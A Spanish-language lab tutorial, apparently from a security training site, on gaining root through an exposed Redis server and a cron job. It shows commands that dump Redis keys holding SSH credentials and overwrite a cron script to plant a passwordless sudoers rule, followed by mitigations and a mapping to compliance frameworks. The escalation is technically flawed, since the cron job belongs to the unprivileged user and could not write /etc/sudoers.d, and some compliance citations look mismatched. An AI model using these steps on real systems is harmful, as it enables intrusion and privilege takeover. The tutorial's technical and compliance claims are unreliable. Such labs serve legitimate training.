1
Laboratorio: Escalada de Privilegios por Abuso de Cron Jobs
Laboratorio: Escalada de Privilegios por Abuso de Cron Jobs

Objetivo

Aprender a identificar y explotar configuraciones inseguras en servicios Redis para obtener acceso no autorizado a información sensible, obtener credenciales y escalar privilegios mediante cron jobs.

Detalles del Laboratorio

  • Nivel: Intermedio – Avanzado
  • Duración estimada: 45-60 minutos
  • Entorno: Kali Linux y servidor Debian con Redis expuesto y cronjobs configurados de manera insegura

1. Introducción

Exploraremos cómo un atacante puede aprovechar configuraciones inseguras en Redis para obtener credenciales y, posteriormente, escalar privilegios mediante cron jobs.

Requisitos Previos

  • Administración básica de Linux.
  • Familiaridad con Redis.
  • Kali Linux y servidor Debian con Redis expuesto en puerto 6379.
  • Conocimientos sobre cron jobs y permisos en Linux.

2. Procedimiento Paso a Paso

Paso 1: Conectarse al Servidor Redis Expuesto

Utilizar redis-cli para conectarse al servidor Redis expuesto en el puerto 6379:

redis-cli -h 192.168.1.11

Paso 2: Buscar Claves en Redis

Una vez conectado, obtener claves almacenadas en Redis que puedan revelar información sensible:

keys *

Si existe una clave sospechosa como test_key, recupera su valor con:

get test_key

Salida esperada:

“For more info log in this Server with the user monitor:P4ssw0rd20254Mon17or”

Esto revela credenciales para el usuario monitor en el servidor objetivo.

Laboratorio: Escalada de Privilegios por Abuso de Cron Jobs

Paso 3: Acceder al Servidor con las Credenciales Extraídas

Usamos SSH para autenticarnos en el servidor con el usuario comprometido. El comando ssh permite conectarse remotamente al servidor utilizando las credenciales encontradas en Redis:

ssh monitor@192.168.1.11

Verifica tu usuario actual para confirmar que has ingresado correctamente:

whoami

Intentamos elevar privilegios utilizando sudo su, que permite obtener privilegios de superusuario (root):

sudo su

Salida esperada que indica que no se tienen permisos suficientes:

monitor is not in the sudoers file.

Esto significa que el usuario monitor no tiene permisos para ejecutar comandos como root mediante sudo.

Paso 4: Identificación de Tareas Programadas en Cron

Al no poder elevar privilegios mediante sudo, buscamos tareas cron configuradas que puedan explotarse para escalar privilegios. Para ello ejecutamos:

crontab -l

Este comando muestra las tareas programadas (cron jobs) para el usuario actual. La sintaxis del cron es:

  • * * * * *: Minuto (0-59), Hora (0-23), Día del mes (1-31), Mes (1-12), Día de la semana (0-6)
  • /ruta/al/script.sh: Ruta del script o comando que se ejecuta automáticamente según la programación indicada.

Salida esperada del comando:

* * * * * /home/monitor/scripts/backup.sh

Observamos que existe un script backup.sh en el directorio /home/monitor/scripts/, el cual se ejecuta automáticamente cada minuto y podría ser aprovechado para escalar privilegios.

Laboratorio: Escalada de Privilegios por Abuso de Cron Jobs

Paso 5: Explotación del Cronjob para Escalada de Privilegios

Modificamos el script backup.sh para agregar un archivo con permisos completos de sudo al usuario monitor. A continuación se explica la sintaxis:

echo -e ‘#\!/bin/bash\necho “monitor ALL=(ALL) NOPASSWD:ALL” > /etc/sudoers.d/monitor_exploit\nchmod 440 /etc/sudoers.d/monitor_exploit’ > /home/monitor/scripts/backup.sh
  • echo “#!/bin/bash”: Indica que el archivo es un script que se ejecuta en Bash.
  • echo ‘monitor ALL=(ALL) NOPASSWD:ALL’ > /etc/sudoers.d/monitor_exploit: Añade una regla al archivo monitor_exploit que permite al usuario monitor ejecutar cualquier comando con privilegios root sin pedir contraseña.
  • chmod 440 /etc/sudoers.d/monitor_exploit: Establece permisos restrictivos al archivo monitor_exploit para que sea seguro y aceptado por el sistema.
  • > /home/monitor/scripts/backup.sh: Guarda el script creado en la ubicación del cronjob.

Esperamos un minuto para que el cronjob ejecute automáticamente el script y verifique la creación del archivo con permisos adecuados:

ls -la /etc/sudoers.d/

Ahora intentamos elevar privilegios nuevamente:

sudo su

Finalmente, confirmamos que se obtuvo acceso root:

whoami

El usuario ahora posee acceso root al sistema.

Análisis del Riesgo y Mitigaciones: Redis y Cronjobs

3. Análisis del Riesgo

Este laboratorio muestra cómo Redis mal configurado y cronjobs inseguros pueden derivar en riesgos críticos:

🔴 Acceso no autorizado a Redis:

Exposición de información sensible y credenciales.

🔴 Ejecución insegura de cronjobs:

Permite la ejecución automática de scripts maliciosos con privilegios elevados.

🔴 Control total del sistema:

El atacante puede obtener privilegios root, comprometiendo toda la infraestructura.

4. Mitigación y Soluciones

Para mitigar los riesgos relacionados con Redis y cronjobs inseguros, se recomienda:

✅ Configurar autenticación en Redis:

Implementar requirepass para exigir autenticación por contraseña.

requirepass TuContraseñaSegura

✅ Restringir acceso a Redis:

Permitir conexiones solo desde IPs confiables mediante firewall.

iptables -A INPUT -p tcp -s IP_AUTORIZADA –dport 6379 -j ACCEPT

✅ Monitorear actividad sospechosa:

Implementar sistemas de monitoreo y alertas ante accesos no autorizados.

✅ Eliminar cronjobs inseguros:

Revisar periódicamente las tareas cron y asegurar la integridad de los scripts.

crontab -l

5. Fuentes Reconocidas sobre el Ataque

6. Conclusión

La configuración insegura de Redis y cronjobs puede comprometer gravemente un sistema. Aplicar autenticación robusta, restringir accesos y monitorear constantemente ayuda a mitigar estos riesgos críticos en entornos empresariales.

Impacto en Cumplimiento Normativo por Escalada de Privilegios mediante Cron Jobs

Impacto en Cumplimiento Normativo

Los cron jobs pueden ser explotados para escalar privilegios y comprometer sistemas críticos. A continuación, se detallan los controles afectados en diversas normativas:

🔴 PCI-DSS v4.0 (Seguridad de Datos en la Industria de Tarjetas de Pago)

  • Requisito 7.1: Restricción de accesos según la necesidad de conocer.
  • Requisito 8.3: Gestión de privilegios y acceso.
  • Requisito 10.2: Implementación de auditoría y registro de acceso.

🔴 ISO 27001/27002:2022 (Seguridad de la Información)

  • Control 5.18: Gestión de derechos de acceso.
  • Control 8.15: Controles de seguridad en tareas automatizadas.
  • Control A.9.2.3: Gestión del acceso privilegiado.

🔴 SWIFT CSP v2023

  • Control 2.3: Gestión y monitoreo de cuentas privilegiadas.
  • Control 4.2: Registro y monitoreo de actividades del sistema.

🔴 NIST 800-53 Rev.5

  • AC-2: Gestión de cuentas.
  • AC-6: Principio de menor privilegio.
  • SI-4: Monitoreo continuo y registro de eventos de seguridad.
  • CM-7: Administración segura de configuraciones.

🔴 OWASP Top 10 (2021)

  • A01:2021 – Control de acceso roto.
  • A05:2021 – Configuraciones inseguras.

🔴 MITRE ATT&CK (2023)

  • T1053.003: Ejecución mediante cron jobs.
  • T1548.001: Abuso de permisos elevados.

🔴 OSSTMM v3

  • Sección D.3.3: Prueba de gestión de privilegios.
  • Sección D.3.5: Prueba de controles automatizados y scripts.

🔴 CIS Benchmarks (Linux v2.0)

  • Sección 5.1: Configuración segura de cron jobs.
  • Sección 4.3: Acceso y gestión de permisos privilegiados.

🔴 COBIT 2019

  • APO13.01: Establecer y mantener un marco de seguridad.
  • DSS05.04: Gestionar identidad y acceso privilegiado.

🔴 SOC 2 Type II

  • CC6.1: Controles de acceso lógico y físico.
  • CC7.1: Monitoreo continuo y respuesta ante incidentes.

Es esencial aplicar controles de acceso, auditoría y restricciones en cron jobs para evitar vulnerabilidades y cumplir con normativas de seguridad.

Leave a Reply

Your email address will not be published. Required fields are marked *